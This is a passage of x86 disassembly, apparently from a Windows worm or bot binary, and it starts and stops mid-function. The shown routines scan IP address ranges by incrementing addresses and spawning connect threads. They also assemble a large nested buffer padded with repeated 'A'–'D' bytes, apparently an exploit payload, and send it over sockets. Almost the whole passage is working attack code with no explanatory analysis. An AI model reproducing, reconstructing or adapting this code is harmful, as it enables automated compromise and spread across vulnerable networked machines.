lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_3C] ; int
call sub_409A73
add esp, 14h
loc_40C3F5: ; CODE XREF: sub_40C33D+99j
lea eax, [ebp+Source]
push eax
call sub_4151AD
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C40B: ; CODE XREF: sub_40C33D+63j
; sub_40C33D+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_427078
mov edi, ebx
mov dword_4CB7A4[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C4D8
loc_40C429: ; CODE XREF: sub_40C33D+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+Source]
push offset asc_43221C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 0Bh ; int
push eax ; Source
call sub_40B0F7
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E594[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C125
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40C4A3
loc_40C498: ; CODE XREF: sub_40C33D+164j
cmp [ebp+var_4], ebx
jnz short loc_40C4CA
push 1Eh
call esi ; Sleep
jmp short loc_40C498
; ---------------------------------------------------------------------------
loc_40C4A3: ; CODE XREF: sub_40C33D+159j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_4321E4 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_4151AD
add esp, 10h
loc_40C4CA: ; CODE XREF: sub_40C33D+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C429
loc_40C4D8: ; CODE XREF: sub_40C33D+E6j
cmp [ebp+var_30], ebx
jz loc_40C582
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_40C4ED: ; CODE XREF: sub_40C33D+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CB7A0[eax*8]
push eax
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_4321A4 ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C53B
push ebx ; int
lea eax, [ebp+Source]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_3C] ; int
call sub_409A73
add esp, 14h
loc_40C53B: ; CODE XREF: sub_40C33D+1DFj
lea eax, [ebp+Source]
push eax
call sub_4151AD
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_4CB7A4[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40B33F
cmp eax, 1
pop ecx
jnz short loc_40C572
push offset dword_4CD7A0
call ds:dword_4270DC ; RtlDeleteCriticalSection
loc_40C572: ; CODE XREF: sub_40C33D+228j
push [ebp+var_2C]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_40C582: ; CODE XREF: sub_40C33D+19Ej
; sub_40C33D+25Dj
mov eax, [ebp+var_2C]
cmp dword_4CB7A4[eax*8], 1
jnz loc_40C4ED
push 7D0h
call esi ; Sleep
jmp short loc_40C582
sub_40C33D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C59C proc near ; DATA XREF: sub_40C669+7Bo
; sub_40C75A+7Bo
var_BC = dword ptr -0BCh
Str = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_38]
call dword_4CB654 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CB6D4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C65A
lea eax, [ebp+Dst]
push 10h
push eax
push esi
call dword_4CB5FC ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E59C[ecx], esi
jz short loc_40C65A
push [ebp+var_38]
push [ebp+var_28]
call dword_4CB6E0 ; inet_ntoa
push eax
mov edi, offset byte_4CE164
push offset asc_432284 ; "-"
push edi ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Str]
push [ebp+var_20] ; int
push edi ; int
push eax ; Str
push [ebp+var_BC] ; int
call sub_409A73
push edi
call sub_4151AD
add esp, 28h
loc_40C65A: ; CODE XREF: sub_40C59C+5Dj
; sub_40C59C+7Ej
push esi
call dword_4CB6EC ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C59C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; int __cdecl sub_40C669(int Dst)
sub_40C669 proc near ; DATA XREF: sub_401ACD+603Fo
Dest = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
Src = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
Dst = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+Dst]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, ds:dword_427078
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C697: ; CODE XREF: sub_40C669+ECj
push [ebp+var_30]
push [ebp+Src]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_4322AC ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push 1FFh ; Count
push eax ; Source
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_43E390
push eax ; Dest
call _strncpy
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40C59C
push edi
push edi
call ds:dword_42707C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40C703
loc_40C6F8: ; CODE XREF: sub_40C669+98j
cmp [ebp+var_C], edi
jnz short loc_40C703
push 32h
call esi ; Sleep
jmp short loc_40C6F8
; ---------------------------------------------------------------------------
loc_40C703: ; CODE XREF: sub_40C669+8Dj
; sub_40C669+92j
push [ebp+var_4]
call ds:dword_427068 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+Src]
push 4 ; Size
push eax ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call dword_4CB57C ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call dword_4CB650 ; htonl
mov [ebp+Dst], eax
lea eax, [ebp+Dst]
push 4 ; Size
push eax ; Src
lea eax, [ebp+Src]
push eax ; Dst
call _memcpy
add esp, 0Ch
jmp loc_40C697
sub_40C669 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C75A proc near ; DATA XREF: sub_401ACD+5D4Fo
Dest = byte ptr -130h
var_B0 = dword ptr -0B0h
Str = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_427078
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C788: ; CODE XREF: sub_40C75A+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_432300 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push 1FFh ; Count
push eax ; Source
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_43E390
push eax ; Dest
call _strncpy
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40C59C
push edi
push edi
call ds:dword_42707C ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40C7F4
loc_40C7E9: ; CODE XREF: sub_40C75A+98j
cmp [ebp+var_8], edi
jnz short loc_40C7F4
push 32h
call esi ; Sleep
jmp short loc_40C7E9
; ---------------------------------------------------------------------------
loc_40C7F4: ; CODE XREF: sub_40C75A+8Dj
; sub_40C75A+92j
push [ebp+arg_0]
call ds:dword_427068 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40C81B
inc [ebp+var_2C]
jmp loc_40C788
; ---------------------------------------------------------------------------
loc_40C81B: ; CODE XREF: sub_40C75A+B7j
push [ebp+var_1C]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_4322D4 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409A73
push [ebp+var_20]
call sub_40B413
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40C75A endp
; =============== S U B R O U T I N E =======================================
sub_40C867 proc near ; CODE XREF: sub_40CADB+Ep
; sub_40CADB+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C867 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40C871(void *Src,size_t Size)
sub_40C871 proc near ; CODE XREF: sub_40CADB+11Ep
Src = dword ptr 4
Size = dword ptr 8
push ebx
mov ebx, [esp+4+Size]
push esi
push edi
mov esi, ecx
push ebx ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C8A3
push ebx ; Size
push 0 ; Val
push edi ; Dst
call _memset
push ebx ; Size
push [esp+1Ch+Src] ; Src
push edi ; Dst
call _memcpy
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C8A3: ; CODE XREF: sub_40C871+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C871 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40C8AB(void *Src,size_t Size,int,int)
sub_40C8AB proc near ; CODE XREF: sub_40C9A5+18p
; sub_40CA1F+16p ...
Src = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+Size]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi ; Size
call _malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C8F7
push edi ; Size
push 0 ; Val
push esi ; Dst
call _memset
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; Dst
call _memcpy
push [ebp+arg_C] ; Size
mov eax, [ebp+Size]
add eax, esi
push [ebp+arg_8] ; Src
push eax ; Dst
call _memcpy
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C8F7: ; CODE XREF: sub_40C8AB+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C8AB endp
; =============== S U B R O U T I N E =======================================
sub_40C900 proc near ; CODE XREF: sub_40C9A5+5Ep
; sub_40C9A5+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C910
push eax
call sub_41B0B1
pop ecx
loc_40C910: ; CODE XREF: sub_40C900+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C900 endp
; =============== S U B R O U T I N E =======================================
sub_40C919 proc near ; CODE XREF: sub_40C9A5+20p
; sub_40CA80+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C946
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C94A
loc_40C946: ; CODE XREF: sub_40C919+Dj
xor al, al
jmp short loc_40C9A1
; ---------------------------------------------------------------------------
loc_40C94A: ; CODE XREF: sub_40C919+2Bj
mov eax, ebx
add eax, [esi+4]
push eax ; Size
push 0 ; Val
push edi ; Dst
call _memset
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C96F
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40C989
; ---------------------------------------------------------------------------
loc_40C96F: ; CODE XREF: sub_40C919+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4] ; Size
lea eax, [edi+3]
push dword ptr [esi] ; Src
loc_40C989: ; CODE XREF: sub_40C919+54j
push eax ; Dst
call _memcpy
add esp, 0Ch
push dword ptr [esi]
call sub_41B0B1
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C9A1: ; CODE XREF: sub_40C919+2Fj
pop edi
pop esi
pop ebx
retn
sub_40C919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C9A5 proc near ; CODE XREF: sub_40CADB+89p
; sub_40CADB+E3p ...
Src = dword ptr -8
Size = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+Src]
push dword ptr [esi+4] ; int
push dword ptr [esi] ; int
push 1 ; Size
push offset byte_4CB50C ; Src
call sub_40C8AB
lea ecx, [ebp+Src]
call sub_40C919
mov eax, [ebp+Size]
inc eax
push eax ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C9DF
xor al, al
jmp short loc_40CA1B
; ---------------------------------------------------------------------------
loc_40C9DF: ; CODE XREF: sub_40C9A5+34j
mov eax, [ebp+Size]
inc eax
push eax ; Size
push 0 ; Val
push edi ; Dst
call _memset
mov byte ptr [edi], 3
push [ebp+Size] ; Size
lea eax, [edi+1]
push [ebp+Src] ; Src
push eax ; Dst
call _memcpy
add esp, 18h
mov ecx, esi
call sub_40C900
mov eax, [ebp+Size]
lea ecx, [ebp+Src]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C900
mov al, 1
loc_40CA1B: ; CODE XREF: sub_40C9A5+38j
pop edi
pop esi
leave
retn
sub_40C9A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1F proc near ; CODE XREF: sub_40CA53+14p
; sub_40CA70+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4] ; int
lea ecx, [ebp+var_8]
push [ebp+arg_0] ; int
push dword ptr [esi+4] ; Size
push dword ptr [esi] ; Src
call sub_40C8AB
mov ecx, esi
call sub_40C900
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CA1F endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40CA53(char *Str)
sub_40CA53 proc near ; CODE XREF: sub_40CADB+F0p
; sub_40CADB+15Bp ...
Str = dword ptr 4
push esi
mov esi, ecx
push [esp+4+Str] ; Str
call _strlen
pop ecx
push eax
mov ecx, esi
push [esp+8+Str]
call sub_40CA1F
pop esi
retn 4
sub_40CA53 endp
; =============== S U B R O U T I N E =======================================
sub_40CA70 proc near ; CODE XREF: sub_40CABC+Bp
; sub_40CADB+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CA1F
retn 8
sub_40CA70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA80 proc near ; CODE XREF: sub_40CABC+16p
; sub_40CADB+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C919
test al, al
jz short loc_40CAB9
push dword ptr [esi+4] ; int
lea ecx, [ebp+var_8]
push dword ptr [esi] ; int
push 1 ; Size
push offset asc_42CFE0 ; "#"
call sub_40C8AB
mov ecx, esi
call sub_40C900
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CAB9: ; CODE XREF: sub_40CA80+Fj
pop esi
leave
retn
sub_40CA80 endp
; =============== S U B R O U T I N E =======================================
sub_40CABC proc near ; CODE XREF: sub_40CADB+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CA70
test al, al
jz short loc_40CAD7
mov ecx, esi
call sub_40CA80
loc_40CAD7: ; CODE XREF: sub_40CABC+12j
pop esi
retn 8
sub_40CABC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CADB proc near ; CODE XREF: .text:0040D362p
Dst = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C867
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CE2F
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CE2F
push esi
lea ecx, [ebp+var_30]
call sub_40C867
lea ecx, [ebp+var_20]
call sub_40C867
lea ecx, [ebp+var_50]
call sub_40C867
lea ecx, [ebp+var_18]
call sub_40C867
lea ecx, [ebp+var_40]
call sub_40C867
lea ecx, [ebp+var_38]
call sub_40C867
lea ecx, [ebp+var_28]
call sub_40C867
push 4
push offset dword_432338
lea ecx, [ebp+var_30]
call sub_40CA1F
push 3
push offset dword_432340
lea ecx, [ebp+var_30]
call sub_40CA1F
lea ecx, [ebp+var_30]
call sub_40C9A5
lea ecx, [ebp+var_30]
call sub_40CA80
mov esi, 800h
lea eax, [ebp+Dst]
push esi ; Size
push 42h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CA1F
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CA1F
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+Dst]
push eax
call sub_40CA1F
lea ecx, [ebp+var_20]
call sub_40C9A5
push offset dword_4326BC ; Str
lea ecx, [ebp+var_50]
call sub_40CA53
lea ecx, [ebp+var_50]
call sub_40C9A5
push esi ; Size
lea eax, [ebp+Dst]
push 44h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
lea ecx, [ebp+var_58]
push 410h ; Size
push eax ; Src
call sub_40C871
lea ecx, [ebp+var_58]
call sub_40C9A5
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CABC
lea ecx, [ebp+var_58]
call sub_40C900
push esi ; Size
lea eax, [ebp+Dst]
push 43h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CA53
push 4
push offset dword_432344
lea ecx, [ebp+var_18]
call sub_40CA1F
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CA1F
sub edi, [ebp+arg_8]
lea eax, [ebp+Dst]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CA1F
lea ecx, [ebp+var_18]
call sub_40C9A5
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CA70
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CA70
lea ecx, [ebp+var_40]
call sub_40CA80
lea ecx, [ebp+var_18]
call sub_40C900
lea ecx, [ebp+var_50]
call sub_40C900
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CA70
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CA70
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CA70
lea ecx, [ebp+var_38]
call sub_40CA80
lea ecx, [ebp+var_20]
call sub_40C900
lea ecx, [ebp+var_30]
call sub_40C900
lea ecx, [ebp+var_40]
call sub_40C900
push esi ; Size
lea eax, [ebp+Dst]
push 41h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CA1F
lea ecx, [ebp+var_28]
call sub_40C9A5
push 2
push offset dword_4326B0
lea ecx, [ebp+var_28]
call sub_40CA1F
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CA70
lea ecx, [ebp+var_28]
call sub_40CA80
lea ecx, [ebp+var_38]
call sub_40C900
lea ecx, [ebp+var_10]
call sub_40C867
lea ecx, [ebp+var_8]
call sub_40C867
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CA70
lea ecx, [ebp+var_10]
call sub_40C919
lea ecx, [ebp+var_28]
call sub_40C900
push offset dword_4326AC ; Str
lea ecx, [ebp+var_8]
call sub_40CA53
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA70
lea ecx, [ebp+var_8]
call sub_40C919
lea ecx, [ebp+var_10]
call sub_40C900
push offset dword_4326A8 ; Str
lea ecx, [ebp+var_10]
call sub_40CA53
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CA70
lea ecx, [ebp+var_10]
call sub_40C919
lea ecx, [ebp+var_8]
call sub_40C900
push offset dword_43269C ; Str
lea ecx, [ebp+var_8]
call sub_40CA53
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CA70
lea ecx, [ebp+var_8]
call sub_40C919
lea ecx, [ebp+var_10]
call sub_40C900
push offset dword_432698 ; Str
lea ecx, [ebp+var_48]
call sub_40CA53
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CA70
lea ecx, [ebp+var_8]
call sub_40C900
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40CE3D
; ---------------------------------------------------------------------------
loc_40CE2F: ; CODE XREF: sub_40CADB+1Bj
; sub_40CADB+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40CE3D: ; CODE XREF: sub_40CADB+352j
pop edi
pop ebx
leave
retn
sub_40CADB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE41 proc near ; CODE XREF: sub_40CF05+A1p
; sub_40CF05+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_427228 ; select
cmp eax, edi
jnz short loc_40CEA8
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426756 ; __WSAFDIsSet
test eax, eax
jnz short loc_40CEAC
loc_40CEA8: ; CODE XREF: sub_40CE41+54j
xor eax, eax
jmp short loc_40CEBC
; ---------------------------------------------------------------------------
loc_40CEAC: ; CODE XREF: sub_40CE41+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB66C ; recv
loc_40CEBC: ; CODE XREF: sub_40CE41+69j
pop edi
pop esi
leave
retn
sub_40CE41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEC0 proc near ; CODE XREF: sub_40CF05+81p
; sub_40CF05+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB650 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CB6A4 ; send
cmp eax, 4
jz short loc_40CEEA
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CEEA: ; CODE XREF: sub_40CEC0+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CB6A4 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CEC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40CF05(int,void *Src,size_t Size)
sub_40CF05 proc near ; CODE XREF: sub_40CFDF+48p
; .text:0040D453p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+Size]
lea ebx, [edi+41h]
push ebx ; Size
mov [ebp+var_4], ebx
call _malloc
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CF2E
xor al, al
jmp loc_40CFDA
; ---------------------------------------------------------------------------
loc_40CF2E: ; CODE XREF: sub_40CF05+20j
push ebx ; Size
push 0 ; Val
push esi ; Dst
call _memset
push 2Fh ; Size
push offset dword_4323D4 ; Src
push esi ; Dst
call _memcpy
push 8 ; Size
lea eax, [esi+31h]
push offset dword_432404 ; Src
push eax ; Dst
mov [esi+2Fh], di
call _memcpy
push edi ; Size
lea ebx, [esi+3Bh]
push [ebp+Src] ; Src
mov [esi+39h], di
push ebx ; Dst
call _memcpy
push 6 ; Size
add ebx, edi
push offset dword_4CE36C ; Src
push ebx ; Dst
call _memcpy
mov ebx, [ebp+arg_0]
push 85h
push offset dword_43234C
push ebx
call sub_40CEC0
add esp, 48h
test al, al
jnz short loc_40CF96
loc_40CF92: ; CODE XREF: sub_40CF05+B5j
xor bl, bl
jmp short loc_40CFD1
; ---------------------------------------------------------------------------
loc_40CF96: ; CODE XREF: sub_40CF05+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE41
push [ebp+var_4]
push esi
push ebx
call sub_40CEC0
add esp, 1Ch
test al, al
jz short loc_40CF92
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CE41
add esp, 10h
mov bl, 1
loc_40CFD1: ; CODE XREF: sub_40CF05+8Fj
push esi
call sub_41B0B1
pop ecx
mov al, bl
loc_40CFDA: ; CODE XREF: sub_40CF05+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CF05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40CFDF(int,void *Src,size_t Size)
sub_40CFDF proc near ; CODE XREF: .text:0040D439p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432410
push [ebp+arg_0]
call ds:dword_427224 ; send
cmp eax, 48h
jnz short loc_40D01A
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CE41
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D01A
